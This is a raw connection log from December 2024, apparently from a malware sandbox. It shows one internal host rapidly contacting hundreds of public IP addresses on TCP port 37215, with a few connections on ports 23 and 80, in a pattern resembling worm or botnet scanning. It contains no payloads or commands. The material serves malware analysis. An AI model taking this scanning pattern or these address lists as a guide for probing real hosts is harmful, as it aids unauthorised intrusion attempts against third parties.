Dec 3, 2024 21:30:52.429673910 CET	59009	37215	192.168.2.23	156.199.99.154
Dec 3, 2024 21:30:52.429677963 CET	59009	37215	192.168.2.23	156.150.113.127
Dec 3, 2024 21:30:52.429680109 CET	59009	37215	192.168.2.23	156.139.89.208
Dec 3, 2024 21:30:52.429680109 CET	59009	37215	192.168.2.23	197.31.37.145
Dec 3, 2024 21:30:52.429686069 CET	59009	37215	192.168.2.23	41.195.154.14
Dec 3, 2024 21:30:52.429697037 CET	59009	37215	192.168.2.23	41.124.52.30
Dec 3, 2024 21:30:52.429724932 CET	59009	37215	192.168.2.23	197.76.180.77
Dec 3, 2024 21:30:52.429724932 CET	59009	37215	192.168.2.23	156.116.88.96
Dec 3, 2024 21:30:52.429727077 CET	59009	37215	192.168.2.23	156.81.28.40
Dec 3, 2024 21:30:52.429727077 CET	59009	37215	192.168.2.23	156.51.7.230
Dec 3, 2024 21:30:52.429727077 CET	59009	37215	192.168.2.23	41.232.69.120
Dec 3, 2024 21:30:52.429740906 CET	59009	37215	192.168.2.23	156.1.191.219
Dec 3, 2024 21:30:52.429743052 CET	59009	37215	192.168.2.23	156.122.216.239
Dec 3, 2024 21:30:52.429744005 CET	59009	37215	192.168.2.23	197.165.197.149
Dec 3, 2024 21:30:52.429744005 CET	59009	37215	192.168.2.23	156.197.15.2
Dec 3, 2024 21:30:52.429745913 CET	59009	37215	192.168.2.23	197.46.80.179
Dec 3, 2024 21:30:52.429745913 CET	59009	37215	192.168.2.23	41.105.176.115
Dec 3, 2024 21:30:52.429749966 CET	59009	37215	192.168.2.23	41.55.130.122
Dec 3, 2024 21:30:52.429752111 CET	59009	37215	192.168.2.23	156.220.8.118
Dec 3, 2024 21:30:52.429754019 CET	59009	37215	192.168.2.23	197.206.217.242
Dec 3, 2024 21:30:52.429768085 CET	59009	37215	192.168.2.23	197.130.147.245
Dec 3, 2024 21:30:52.429768085 CET	59009	37215	192.168.2.23	41.153.26.133
Dec 3, 2024 21:30:52.429768085 CET	59009	37215	192.168.2.23	197.149.130.102
Dec 3, 2024 21:30:52.429769993 CET	59009	37215	192.168.2.23	156.145.38.43
Dec 3, 2024 21:30:52.429769993 CET	59009	37215	192.168.2.23	41.17.126.214
Dec 3, 2024 21:30:52.429769993 CET	59009	37215	192.168.2.23	156.229.31.94
Dec 3, 2024 21:30:52.429769993 CET	59009	37215	192.168.2.23	41.146.164.180
Dec 3, 2024 21:30:52.429769993 CET	59009	37215	192.168.2.23	197.38.246.178
Dec 3, 2024 21:30:52.429778099 CET	59009	37215	192.168.2.23	41.96.153.202
Dec 3, 2024 21:30:52.429768085 CET	59009	37215	192.168.2.23	156.180.128.35
Dec 3, 2024 21:30:52.429769993 CET	59009	37215	192.168.2.23	197.120.151.64
Dec 3, 2024 21:30:52.429769039 CET	59009	37215	192.168.2.23	197.120.133.193
Dec 3, 2024 21:30:52.429769039 CET	59009	37215	192.168.2.23	41.254.97.131
Dec 3, 2024 21:30:52.429769039 CET	59009	37215	192.168.2.23	156.77.36.108
Dec 3, 2024 21:30:52.429785013 CET	59009	37215	192.168.2.23	41.3.95.178
Dec 3, 2024 21:30:52.429769993 CET	59009	37215	192.168.2.23	197.213.213.115
Dec 3, 2024 21:30:52.429790020 CET	59009	37215	192.168.2.23	197.213.45.168
Dec 3, 2024 21:30:52.429790020 CET	59009	37215	192.168.2.23	156.2.173.84
Dec 3, 2024 21:30:52.429790020 CET	59009	37215	192.168.2.23	197.147.12.58
Dec 3, 2024 21:30:52.429791927 CET	59009	37215	192.168.2.23	41.253.106.89
Dec 3, 2024 21:30:52.429795027 CET	59009	37215	192.168.2.23	41.11.240.20
Dec 3, 2024 21:30:52.429795027 CET	59009	37215	192.168.2.23	197.164.89.195
Dec 3, 2024 21:30:52.429796934 CET	59009	37215	192.168.2.23	41.226.153.251
Dec 3, 2024 21:30:52.429796934 CET	59009	37215	192.168.2.23	41.56.18.7
Dec 3, 2024 21:30:52.429796934 CET	59009	37215	192.168.2.23	41.166.218.77
Dec 3, 2024 21:30:52.429796934 CET	59009	37215	192.168.2.23	41.138.77.241
Dec 3, 2024 21:30:52.429796934 CET	59009	37215	192.168.2.23	156.41.1.4
Dec 3, 2024 21:30:52.429796934 CET	59009	37215	192.168.2.23	156.203.160.164
Dec 3, 2024 21:30:52.429796934 CET	59009	37215	192.168.2.23	197.150.62.58
Dec 3, 2024 21:30:52.429796934 CET	59009	37215	192.168.2.23	197.37.34.41
Dec 3, 2024 21:30:52.429802895 CET	59009	37215	192.168.2.23	156.65.51.218
Dec 3, 2024 21:30:52.429804087 CET	59009	37215	192.168.2.23	156.18.185.29
Dec 3, 2024 21:30:52.429806948 CET	59009	37215	192.168.2.23	197.28.214.25
Dec 3, 2024 21:30:52.429810047 CET	59009	37215	192.168.2.23	197.115.212.104
Dec 3, 2024 21:30:52.429810047 CET	59009	37215	192.168.2.23	197.57.155.141
Dec 3, 2024 21:30:52.429814100 CET	59009	37215	192.168.2.23	197.60.56.188
Dec 3, 2024 21:30:52.429819107 CET	59009	37215	192.168.2.23	41.132.255.45
Dec 3, 2024 21:30:52.429824114 CET	59009	37215	192.168.2.23	156.42.185.141
Dec 3, 2024 21:30:52.429826021 CET	59009	37215	192.168.2.23	197.24.252.118
Dec 3, 2024 21:30:52.429840088 CET	59009	37215	192.168.2.23	41.34.174.58
Dec 3, 2024 21:30:52.429841995 CET	59009	37215	192.168.2.23	41.48.56.24
Dec 3, 2024 21:30:52.429853916 CET	59009	37215	192.168.2.23	197.158.202.196
Dec 3, 2024 21:30:52.429857969 CET	59009	37215	192.168.2.23	197.211.201.44
Dec 3, 2024 21:30:52.429862022 CET	59009	37215	192.168.2.23	156.224.53.200
Dec 3, 2024 21:30:52.429873943 CET	59009	37215	192.168.2.23	41.164.230.228
Dec 3, 2024 21:30:52.429867983 CET	59009	37215	192.168.2.23	41.129.117.1
Dec 3, 2024 21:30:52.429879904 CET	59009	37215	192.168.2.23	41.158.158.58
Dec 3, 2024 21:30:52.429883003 CET	59009	37215	192.168.2.23	197.187.88.218
Dec 3, 2024 21:30:52.429884911 CET	59009	37215	192.168.2.23	156.180.209.238
Dec 3, 2024 21:30:52.429896116 CET	59009	37215	192.168.2.23	41.244.5.108
Dec 3, 2024 21:30:52.429896116 CET	59009	37215	192.168.2.23	197.206.21.170
Dec 3, 2024 21:30:52.429896116 CET	59009	37215	192.168.2.23	197.63.32.22
Dec 3, 2024 21:30:52.429899931 CET	59009	37215	192.168.2.23	197.29.15.175
Dec 3, 2024 21:30:52.429910898 CET	59009	37215	192.168.2.23	41.198.250.42
Dec 3, 2024 21:30:52.429910898 CET	59009	37215	192.168.2.23	197.231.247.113
Dec 3, 2024 21:30:52.429923058 CET	59009	37215	192.168.2.23	41.53.215.36
Dec 3, 2024 21:30:52.429924965 CET	59009	37215	192.168.2.23	197.137.111.95
Dec 3, 2024 21:30:52.429930925 CET	59009	37215	192.168.2.23	156.73.37.32
Dec 3, 2024 21:30:52.429940939 CET	59009	37215	192.168.2.23	156.0.203.189
Dec 3, 2024 21:30:52.429940939 CET	59009	37215	192.168.2.23	197.137.2.209
Dec 3, 2024 21:30:52.429944038 CET	59009	37215	192.168.2.23	156.109.215.151
Dec 3, 2024 21:30:52.429949045 CET	59009	37215	192.168.2.23	156.129.41.254
Dec 3, 2024 21:30:52.429953098 CET	59009	37215	192.168.2.23	197.51.120.114
Dec 3, 2024 21:30:52.429965019 CET	59009	37215	192.168.2.23	197.171.7.97
Dec 3, 2024 21:30:52.429965019 CET	59009	37215	192.168.2.23	41.241.110.118
Dec 3, 2024 21:30:52.429971933 CET	59009	37215	192.168.2.23	41.228.27.89
Dec 3, 2024 21:30:52.429986000 CET	59009	37215	192.168.2.23	197.235.126.160
Dec 3, 2024 21:30:52.429986954 CET	59009	37215	192.168.2.23	156.153.113.212
Dec 3, 2024 21:30:52.429986000 CET	59009	37215	192.168.2.23	197.202.198.194
Dec 3, 2024 21:30:52.429992914 CET	59009	37215	192.168.2.23	41.34.6.244
Dec 3, 2024 21:30:52.429996967 CET	59009	37215	192.168.2.23	156.145.168.166
Dec 3, 2024 21:30:52.429996967 CET	59009	37215	192.168.2.23	197.195.140.98
Dec 3, 2024 21:30:52.430006981 CET	59009	37215	192.168.2.23	41.216.188.135
Dec 3, 2024 21:30:52.430012941 CET	59009	37215	192.168.2.23	41.99.181.214
Dec 3, 2024 21:30:52.430012941 CET	59009	37215	192.168.2.23	41.18.169.36
Dec 3, 2024 21:30:52.430031061 CET	59009	37215	192.168.2.23	41.115.173.239
Dec 3, 2024 21:30:52.430032015 CET	59009	37215	192.168.2.23	41.7.183.113
Dec 3, 2024 21:30:52.430035114 CET	59009	37215	192.168.2.23	197.177.90.184
Dec 3, 2024 21:30:52.430036068 CET	59009	37215	192.168.2.23	41.227.81.41
Dec 3, 2024 21:30:52.430043936 CET	59009	37215	192.168.2.23	197.76.49.100
Dec 3, 2024 21:30:52.430044889 CET	59009	37215	192.168.2.23	197.233.65.76
Dec 3, 2024 21:30:52.430062056 CET	59009	37215	192.168.2.23	156.230.69.3
Dec 3, 2024 21:30:52.430063009 CET	59009	37215	192.168.2.23	156.11.184.190
Dec 3, 2024 21:30:52.430423021 CET	60612	37215	192.168.2.23	156.178.53.95
Dec 3, 2024 21:30:52.431025982 CET	49972	37215	192.168.2.23	197.4.155.165
Dec 3, 2024 21:30:52.431566000 CET	53730	37215	192.168.2.23	156.144.87.194
Dec 3, 2024 21:30:52.432130098 CET	52658	37215	192.168.2.23	197.156.1.181
Dec 3, 2024 21:30:52.432699919 CET	36702	37215	192.168.2.23	156.144.159.185
Dec 3, 2024 21:30:52.433198929 CET	53538	37215	192.168.2.23	41.242.244.42
Dec 3, 2024 21:30:52.433198929 CET	53538	37215	192.168.2.23	41.242.244.42
Dec 3, 2024 21:30:52.433454037 CET	53934	37215	192.168.2.23	41.242.244.42
Dec 3, 2024 21:30:52.433799982 CET	60000	37215	192.168.2.23	197.54.174.254
Dec 3, 2024 21:30:52.433799982 CET	60000	37215	192.168.2.23	197.54.174.254
Dec 3, 2024 21:30:52.434052944 CET	60396	37215	192.168.2.23	197.54.174.254
Dec 3, 2024 21:30:52.434390068 CET	38320	37215	192.168.2.23	156.6.99.220
Dec 3, 2024 21:30:52.434390068 CET	38320	37215	192.168.2.23	156.6.99.220
Dec 3, 2024 21:30:52.434637070 CET	38716	37215	192.168.2.23	156.6.99.220
Dec 3, 2024 21:30:52.434962034 CET	40264	37215	192.168.2.23	197.2.94.37
Dec 3, 2024 21:30:52.434962034 CET	40264	37215	192.168.2.23	197.2.94.37
Dec 3, 2024 21:30:52.435200930 CET	40660	37215	192.168.2.23	197.2.94.37
Dec 3, 2024 21:30:52.435544968 CET	35146	37215	192.168.2.23	197.142.116.145
Dec 3, 2024 21:30:52.435544968 CET	35146	37215	192.168.2.23	197.142.116.145
Dec 3, 2024 21:30:52.435794115 CET	35542	37215	192.168.2.23	197.142.116.145
Dec 3, 2024 21:30:52.436127901 CET	52828	37215	192.168.2.23	197.101.2.157
Dec 3, 2024 21:30:52.436127901 CET	52828	37215	192.168.2.23	197.101.2.157
Dec 3, 2024 21:30:52.436383963 CET	53224	37215	192.168.2.23	197.101.2.157
Dec 3, 2024 21:30:52.436697006 CET	58874	37215	192.168.2.23	156.209.214.149
Dec 3, 2024 21:30:52.436697006 CET	58874	37215	192.168.2.23	156.209.214.149
Dec 3, 2024 21:30:52.436958075 CET	59270	37215	192.168.2.23	156.209.214.149
Dec 3, 2024 21:30:52.437285900 CET	48548	37215	192.168.2.23	156.254.240.189
Dec 3, 2024 21:30:52.437285900 CET	48548	37215	192.168.2.23	156.254.240.189
Dec 3, 2024 21:30:52.437546015 CET	48944	37215	192.168.2.23	156.254.240.189
Dec 3, 2024 21:30:52.437849998 CET	33322	37215	192.168.2.23	41.132.216.164
Dec 3, 2024 21:30:52.437849998 CET	33322	37215	192.168.2.23	41.132.216.164
Dec 3, 2024 21:30:52.438110113 CET	33718	37215	192.168.2.23	41.132.216.164
Dec 3, 2024 21:30:52.438487053 CET	35392	37215	192.168.2.23	156.190.237.45
Dec 3, 2024 21:30:52.438487053 CET	35392	37215	192.168.2.23	156.190.237.45
Dec 3, 2024 21:30:52.438728094 CET	35788	37215	192.168.2.23	156.190.237.45
Dec 3, 2024 21:30:52.439054012 CET	47342	37215	192.168.2.23	156.82.100.7
Dec 3, 2024 21:30:52.439054012 CET	47342	37215	192.168.2.23	156.82.100.7
Dec 3, 2024 21:30:52.439286947 CET	47738	37215	192.168.2.23	156.82.100.7
Dec 3, 2024 21:30:52.439621925 CET	47456	37215	192.168.2.23	41.89.56.199
Dec 3, 2024 21:30:52.439621925 CET	47456	37215	192.168.2.23	41.89.56.199
Dec 3, 2024 21:30:52.439877033 CET	47852	37215	192.168.2.23	41.89.56.199
Dec 3, 2024 21:30:52.440203905 CET	47048	37215	192.168.2.23	156.145.198.116
Dec 3, 2024 21:30:52.440203905 CET	47048	37215	192.168.2.23	156.145.198.116
Dec 3, 2024 21:30:52.440469027 CET	47444	37215	192.168.2.23	156.145.198.116
Dec 3, 2024 21:30:52.440795898 CET	54804	37215	192.168.2.23	197.20.1.232
Dec 3, 2024 21:30:52.440795898 CET	54804	37215	192.168.2.23	197.20.1.232
Dec 3, 2024 21:30:52.441056967 CET	55200	37215	192.168.2.23	197.20.1.232
Dec 3, 2024 21:30:52.441380978 CET	35154	37215	192.168.2.23	197.108.27.186
Dec 3, 2024 21:30:52.441380978 CET	35154	37215	192.168.2.23	197.108.27.186
Dec 3, 2024 21:30:52.441632986 CET	35550	37215	192.168.2.23	197.108.27.186
Dec 3, 2024 21:30:52.442009926 CET	38434	37215	192.168.2.23	156.124.6.20
Dec 3, 2024 21:30:52.442009926 CET	38434	37215	192.168.2.23	156.124.6.20
Dec 3, 2024 21:30:52.442269087 CET	38830	37215	192.168.2.23	156.124.6.20
Dec 3, 2024 21:30:52.442578077 CET	49110	37215	192.168.2.23	156.180.71.22
Dec 3, 2024 21:30:52.442578077 CET	49110	37215	192.168.2.23	156.180.71.22
Dec 3, 2024 21:30:52.442830086 CET	49506	37215	192.168.2.23	156.180.71.22
Dec 3, 2024 21:30:52.443160057 CET	37722	37215	192.168.2.23	41.41.62.85
Dec 3, 2024 21:30:52.443160057 CET	37722	37215	192.168.2.23	41.41.62.85
Dec 3, 2024 21:30:52.443428040 CET	38116	37215	192.168.2.23	41.41.62.85
Dec 3, 2024 21:30:52.443762064 CET	49536	37215	192.168.2.23	41.218.18.192
Dec 3, 2024 21:30:52.443762064 CET	49536	37215	192.168.2.23	41.218.18.192
Dec 3, 2024 21:30:52.444004059 CET	49930	37215	192.168.2.23	41.218.18.192
Dec 3, 2024 21:30:52.444325924 CET	40768	37215	192.168.2.23	41.100.82.80
Dec 3, 2024 21:30:52.444325924 CET	40768	37215	192.168.2.23	41.100.82.80
Dec 3, 2024 21:30:52.444605112 CET	41162	37215	192.168.2.23	41.100.82.80
Dec 3, 2024 21:30:52.444932938 CET	54728	37215	192.168.2.23	156.63.118.237
Dec 3, 2024 21:30:52.444932938 CET	54728	37215	192.168.2.23	156.63.118.237
Dec 3, 2024 21:30:52.445163965 CET	55122	37215	192.168.2.23	156.63.118.237
Dec 3, 2024 21:30:52.445511103 CET	44720	37215	192.168.2.23	41.78.79.219
Dec 3, 2024 21:30:52.445511103 CET	44720	37215	192.168.2.23	41.78.79.219
Dec 3, 2024 21:30:52.445772886 CET	45114	37215	192.168.2.23	41.78.79.219
Dec 3, 2024 21:30:52.446086884 CET	55728	37215	192.168.2.23	41.97.116.95
Dec 3, 2024 21:30:52.446086884 CET	55728	37215	192.168.2.23	41.97.116.95
Dec 3, 2024 21:30:52.446336031 CET	56122	37215	192.168.2.23	41.97.116.95
Dec 3, 2024 21:30:52.446671009 CET	53480	37215	192.168.2.23	156.248.22.235
Dec 3, 2024 21:30:52.446671009 CET	53480	37215	192.168.2.23	156.248.22.235
Dec 3, 2024 21:30:52.446927071 CET	53874	37215	192.168.2.23	156.248.22.235
Dec 3, 2024 21:30:52.447249889 CET	57862	37215	192.168.2.23	197.35.188.58
Dec 3, 2024 21:30:52.447249889 CET	57862	37215	192.168.2.23	197.35.188.58
Dec 3, 2024 21:30:52.447499990 CET	58256	37215	192.168.2.23	197.35.188.58
Dec 3, 2024 21:30:52.459264994 CET	37215	60460	156.247.59.94	192.168.2.23
Dec 3, 2024 21:30:52.459276915 CET	37215	38218	156.49.47.44	192.168.2.23
Dec 3, 2024 21:30:52.459281921 CET	37215	42836	197.61.249.158	192.168.2.23
Dec 3, 2024 21:30:52.459323883 CET	42836	37215	192.168.2.23	197.61.249.158
Dec 3, 2024 21:30:52.459330082 CET	60460	37215	192.168.2.23	156.247.59.94
Dec 3, 2024 21:30:52.459331989 CET	38218	37215	192.168.2.23	156.49.47.44
Dec 3, 2024 21:30:52.459368944 CET	60460	37215	192.168.2.23	156.247.59.94
Dec 3, 2024 21:30:52.459368944 CET	60460	37215	192.168.2.23	156.247.59.94
Dec 3, 2024 21:30:52.459677935 CET	60838	37215	192.168.2.23	156.247.59.94
Dec 3, 2024 21:30:52.459999084 CET	42836	37215	192.168.2.23	197.61.249.158
Dec 3, 2024 21:30:52.459999084 CET	42836	37215	192.168.2.23	197.61.249.158
Dec 3, 2024 21:30:52.460248947 CET	43214	37215	192.168.2.23	197.61.249.158
Dec 3, 2024 21:30:52.460576057 CET	38218	37215	192.168.2.23	156.49.47.44
Dec 3, 2024 21:30:52.460576057 CET	38218	37215	192.168.2.23	156.49.47.44
Dec 3, 2024 21:30:52.460822105 CET	38596	37215	192.168.2.23	156.49.47.44
Dec 3, 2024 21:30:52.467180014 CET	56916	80	192.168.2.23	8.103.67.204
Dec 3, 2024 21:30:52.516530037 CET	23	52084	217.32.184.17	192.168.2.23
Dec 3, 2024 21:30:52.516681910 CET	52084	23	192.168.2.23	217.32.184.17
Dec 3, 2024 21:30:52.523322105 CET	37215	40920	156.70.75.133	192.168.2.23
Dec 3, 2024 21:30:52.523339987 CET	37215	41416	197.50.83.42	192.168.2.23
Dec 3, 2024 21:30:52.523379087 CET	37215	33414	197.166.189.254	192.168.2.23
Dec 3, 2024 21:30:52.523380995 CET	40920	37215	192.168.2.23	156.70.75.133
Dec 3, 2024 21:30:52.523380995 CET	41416	37215	192.168.2.23	197.50.83.42
Dec 3, 2024 21:30:52.523416042 CET	37215	60140	197.119.240.72	192.168.2.23
Dec 3, 2024 21:30:52.523427010 CET	40920	37215	192.168.2.23	156.70.75.133
Dec 3, 2024 21:30:52.523428917 CET	33414	37215	192.168.2.23	197.166.189.254
Dec 3, 2024 21:30:52.523439884 CET	41416	37215	192.168.2.23	197.50.83.42
Dec 3, 2024 21:30:52.523459911 CET	60140	37215	192.168.2.23	197.119.240.72
Dec 3, 2024 21:30:52.523485899 CET	33414	37215	192.168.2.23	197.166.189.254
Dec 3, 2024 21:30:52.523490906 CET	60140	37215	192.168.2.23	197.119.240.72
Dec 3, 2024 21:30:52.549078941 CET	37215	59009	156.183.73.216	192.168.2.23
Dec 3, 2024 21:30:52.549091101 CET	37215	59009	197.67.52.122	192.168.2.23
Dec 3, 2024 21:30:52.549101114 CET	37215	59009	156.254.151.42	192.168.2.23
Dec 3, 2024 21:30:52.549118042 CET	37215	59009	197.151.230.241	192.168.2.23
Dec 3, 2024 21:30:52.549128056 CET	37215	59009	41.199.201.42	192.168.2.23
Dec 3, 2024 21:30:52.549161911 CET	59009	37215	192.168.2.23	156.183.73.216
Dec 3, 2024 21:30:52.549166918 CET	59009	37215	192.168.2.23	156.254.151.42
Dec 3, 2024 21:30:52.549242020 CET	59009	37215	192.168.2.23	197.67.52.122
Dec 3, 2024 21:30:52.549246073 CET	59009	37215	192.168.2.23	197.151.230.241
Dec 3, 2024 21:30:52.549247026 CET	59009	37215	192.168.2.23	41.199.201.42
Dec 3, 2024 21:30:52.551943064 CET	37215	53730	156.144.87.194	192.168.2.23
Dec 3, 2024 21:30:52.552000999 CET	53730	37215	192.168.2.23	156.144.87.194
Dec 3, 2024 21:30:52.552428961 CET	42854	37215	192.168.2.23	156.183.73.216
Dec 3, 2024 21:30:52.553026915 CET	45220	37215	192.168.2.23	197.67.52.122
Dec 3, 2024 21:30:52.553129911 CET	37215	53538	41.242.244.42	192.168.2.23
Dec 3, 2024 21:30:52.553546906 CET	54516	37215	192.168.2.23	156.254.151.42
Dec 3, 2024 21:30:52.553802013 CET	37215	60000	197.54.174.254	192.168.2.23
Dec 3, 2024 21:30:52.554076910 CET	47284	37215	192.168.2.23	197.151.230.241
Dec 3, 2024 21:30:52.554371119 CET	37215	38320	156.6.99.220	192.168.2.23
Dec 3, 2024 21:30:52.554579973 CET	50154	37215	192.168.2.23	41.199.201.42
Dec 3, 2024 21:30:52.554917097 CET	53730	37215	192.168.2.23	156.144.87.194
Dec 3, 2024 21:30:52.554917097 CET	53730	37215	192.168.2.23	156.144.87.194
Dec 3, 2024 21:30:52.554966927 CET	37215	40264	197.2.94.37	192.168.2.23
Dec 3, 2024 21:30:52.555174112 CET	53802	37215	192.168.2.23	156.144.87.194
Dec 3, 2024 21:30:52.555562019 CET	37215	35146	197.142.116.145	192.168.2.23
Dec 3, 2024 21:30:52.556130886 CET	37215	52828	197.101.2.157	192.168.2.23
Dec 3, 2024 21:30:52.556615114 CET	37215	58874	156.209.214.149	192.168.2.23
Dec 3, 2024 21:30:52.557218075 CET	37215	48548	156.254.240.189	192.168.2.23
Dec 3, 2024 21:30:52.557756901 CET	37215	33322	41.132.216.164	192.168.2.23
Dec 3, 2024 21:30:52.558355093 CET	37215	35392	156.190.237.45	192.168.2.23
Dec 3, 2024 21:30:52.559052944 CET	37215	47342	156.82.100.7	192.168.2.23
Dec 3, 2024 21:30:52.559536934 CET	37215	47456	41.89.56.199	192.168.2.23
Dec 3, 2024 21:30:52.559834957 CET	37215	47852	41.89.56.199	192.168.2.23
Dec 3, 2024 21:30:52.559885025 CET	47852	37215	192.168.2.23	41.89.56.199
Dec 3, 2024 21:30:52.559899092 CET	47852	37215	192.168.2.23	41.89.56.199
Dec 3, 2024 21:30:52.560224056 CET	37215	47048	156.145.198.116	192.168.2.23
Dec 3, 2024 21:30:52.560789108 CET	37215	54804	197.20.1.232	192.168.2.23
Dec 3, 2024 21:30:52.561486959 CET	37215	35154	197.108.27.186	192.168.2.23
Dec 3, 2024 21:30:52.562278986 CET	37215	38434	156.124.6.20	192.168.2.23
Dec 3, 2024 21:30:52.562766075 CET	37215	49110	156.180.71.22	192.168.2.23
Dec 3, 2024 21:30:52.563291073 CET	37215	37722	41.41.62.85	192.168.2.23
Dec 3, 2024 21:30:52.563894987 CET	37215	49536	41.218.18.192	192.168.2.23
Dec 3, 2024 21:30:52.564421892 CET	37215	40768	41.100.82.80	192.168.2.23
Dec 3, 2024 21:30:52.564920902 CET	37215	54728	156.63.118.237	192.168.2.23
Dec 3, 2024 21:30:52.565490961 CET	37215	44720	41.78.79.219	192.168.2.23
Dec 3, 2024 21:30:52.566137075 CET	37215	55728	41.97.116.95	192.168.2.23
Dec 3, 2024 21:30:52.567001104 CET	37215	53480	156.248.22.235	192.168.2.23
Dec 3, 2024 21:30:52.567192078 CET	37215	57862	197.35.188.58	192.168.2.23
Dec 3, 2024 21:30:52.579713106 CET	37215	60460	156.247.59.94	192.168.2.23
Dec 3, 2024 21:30:52.579725981 CET	37215	60838	156.247.59.94	192.168.2.23
Dec 3, 2024 21:30:52.579797029 CET	60838	37215	192.168.2.23	156.247.59.94
Dec 3, 2024 21:30:52.579826117 CET	60838	37215	192.168.2.23	156.247.59.94
Dec 3, 2024 21:30:52.579961061 CET	37215	42836	197.61.249.158	192.168.2.23
Dec 3, 2024 21:30:52.580137014 CET	37215	43214	197.61.249.158	192.168.2.23
Dec 3, 2024 21:30:52.580182076 CET	43214	37215	192.168.2.23	197.61.249.158
Dec 3, 2024 21:30:52.580209017 CET	43214	37215	192.168.2.23	197.61.249.158
Dec 3, 2024 21:30:52.580651999 CET	37215	38218	156.49.47.44	192.168.2.23
Dec 3, 2024 21:30:52.596041918 CET	37215	35146	197.142.116.145	192.168.2.23
Dec 3, 2024 21:30:52.599977016 CET	37215	35392	156.190.237.45	192.168.2.23
Dec 3, 2024 21:30:52.600032091 CET	37215	40264	197.2.94.37	192.168.2.23
Dec 3, 2024 21:30:52.600042105 CET	37215	38320	156.6.99.220	192.168.2.23
Dec 3, 2024 21:30:52.600056887 CET	37215	60000	197.54.174.254	192.168.2.23
Dec 3, 2024 21:30:52.600085974 CET	37215	53538	41.242.244.42	192.168.2.23
Dec 3, 2024 21:30:52.600125074 CET	37215	47456	41.89.56.199	192.168.2.23
Dec 3, 2024 21:30:52.600136042 CET	37215	47342	156.82.100.7	192.168.2.23
Dec 3, 2024 21:30:52.600182056 CET	37215	33322	41.132.216.164	192.168.2.23
Dec 3, 2024 21:30:52.600256920 CET	37215	48548	156.254.240.189	192.168.2.23
Dec 3, 2024 21:30:52.600265980 CET	37215	58874	156.209.214.149	192.168.2.23
Dec 3, 2024 21:30:52.600274086 CET	37215	52828	197.101.2.157	192.168.2.23
Dec 3, 2024 21:30:52.603965044 CET	37215	54804	197.20.1.232	192.168.2.23
Dec 3, 2024 21:30:52.604012012 CET	37215	47048	156.145.198.116	192.168.2.23
Dec 3, 2024 21:30:52.607968092 CET	37215	37722	41.41.62.85	192.168.2.23
Dec 3, 2024 21:30:52.607975960 CET	37215	49110	156.180.71.22	192.168.2.23
Dec 3, 2024 21:30:52.607984066 CET	37215	38434	156.124.6.20	192.168.2.23
Dec 3, 2024 21:30:52.607990980 CET	37215	35154	197.108.27.186	192.168.2.23
Dec 3, 2024 21:30:52.608057976 CET	37215	57862	197.35.188.58	192.168.2.23
Dec 3, 2024 21:30:52.608067036 CET	37215	53480	156.248.22.235	192.168.2.23
Dec 3, 2024 21:30:52.608073950 CET	37215	55728	41.97.116.95	192.168.2.23
Dec 3, 2024 21:30:52.608081102 CET	37215	44720	41.78.79.219	192.168.2.23
Dec 3, 2024 21:30:52.608094931 CET	37215	54728	156.63.118.237	192.168.2.23
Dec 3, 2024 21:30:52.608155012 CET	37215	40768	41.100.82.80	192.168.2.23
Dec 3, 2024 21:30:52.608163118 CET	37215	49536	41.218.18.192	192.168.2.23
Dec 3, 2024 21:30:52.619998932 CET	37215	60460	156.247.59.94	192.168.2.23
Dec 3, 2024 21:30:52.623970032 CET	37215	38218	156.49.47.44	192.168.2.23
Dec 3, 2024 21:30:52.623989105 CET	37215	42836	197.61.249.158	192.168.2.23
Dec 3, 2024 21:30:52.636744976 CET	23	52084	217.32.184.17	192.168.2.23
Dec 3, 2024 21:30:52.643923044 CET	37215	60140	197.119.240.72	192.168.2.23
Dec 3, 2024 21:30:52.643995047 CET	37215	33414	197.166.189.254	192.168.2.23
Dec 3, 2024 21:30:52.644004107 CET	37215	41416	197.50.83.42	192.168.2.23
Dec 3, 2024 21:30:52.644013882 CET	37215	40920	156.70.75.133	192.168.2.23
Dec 3, 2024 21:30:52.644030094 CET	37215	40920	156.70.75.133	192.168.2.23
Dec 3, 2024 21:30:52.644089937 CET	40920	37215	192.168.2.23	156.70.75.133
Dec 3, 2024 21:30:52.644448996 CET	37215	41416	197.50.83.42	192.168.2.23
Dec 3, 2024 21:30:52.644507885 CET	41416	37215	192.168.2.23	197.50.83.42
Dec 3, 2024 21:30:52.645041943 CET	37215	33414	197.166.189.254	192.168.2.23
Dec 3, 2024 21:30:52.645090103 CET	33414	37215	192.168.2.23	197.166.189.254
Dec 3, 2024 21:30:52.645179987 CET	37215	60140	197.119.240.72	192.168.2.23
Dec 3, 2024 21:30:52.645224094 CET	60140	37215	192.168.2.23	197.119.240.72
Dec 3, 2024 21:30:52.650739908 CET	80	58476	217.117.141.188	192.168.2.23
Dec 3, 2024 21:30:52.650810003 CET	58476	80	192.168.2.23	217.117.141.188
Dec 3, 2024 21:30:52.672466993 CET	37215	42854	156.183.73.216	192.168.2.23
Dec 3, 2024 21:30:52.672657013 CET	42854	37215	192.168.2.23	156.183.73.216
Dec 3, 2024 21:30:52.672725916 CET	42854	37215	192.168.2.23	156.183.73.216
Dec 3, 2024 21:30:52.672725916 CET	42854	37215	192.168.2.23	156.183.73.216
Dec 3, 2024 21:30:52.673073053 CET	37215	45220	197.67.52.122	192.168.2.23
Dec 3, 2024 21:30:52.673085928 CET	42866	37215	192.168.2.23	156.183.73.216
Dec 3, 2024 21:30:52.673121929 CET	45220	37215	192.168.2.23	197.67.52.122
Dec 3, 2024 21:30:52.673417091 CET	45220	37215	192.168.2.23	197.67.52.122
Dec 3, 2024 21:30:52.673417091 CET	45220	37215	192.168.2.23	197.67.52.122
Dec 3, 2024 21:30:52.673491001 CET	37215	54516	156.254.151.42	192.168.2.23
Dec 3, 2024 21:30:52.673532963 CET	54516	37215	192.168.2.23	156.254.151.42
Dec 3, 2024 21:30:52.673616886 CET	45232	37215	192.168.2.23	197.67.52.122
Dec 3, 2024 21:30:52.673949957 CET	54516	37215	192.168.2.23	156.254.151.42
Dec 3, 2024 21:30:52.673949957 CET	54516	37215	192.168.2.23	156.254.151.42
Dec 3, 2024 21:30:52.674035072 CET	37215	47284	197.151.230.241	192.168.2.23
Dec 3, 2024 21:30:52.674093008 CET	47284	37215	192.168.2.23	197.151.230.241
Dec 3, 2024 21:30:52.674182892 CET	54528	37215	192.168.2.23	156.254.151.42
Dec 3, 2024 21:30:52.674489021 CET	47284	37215	192.168.2.23	197.151.230.241
Dec 3, 2024 21:30:52.674489021 CET	47284	37215	192.168.2.23	197.151.230.241
Dec 3, 2024 21:30:52.674583912 CET	37215	50154	41.199.201.42	192.168.2.23
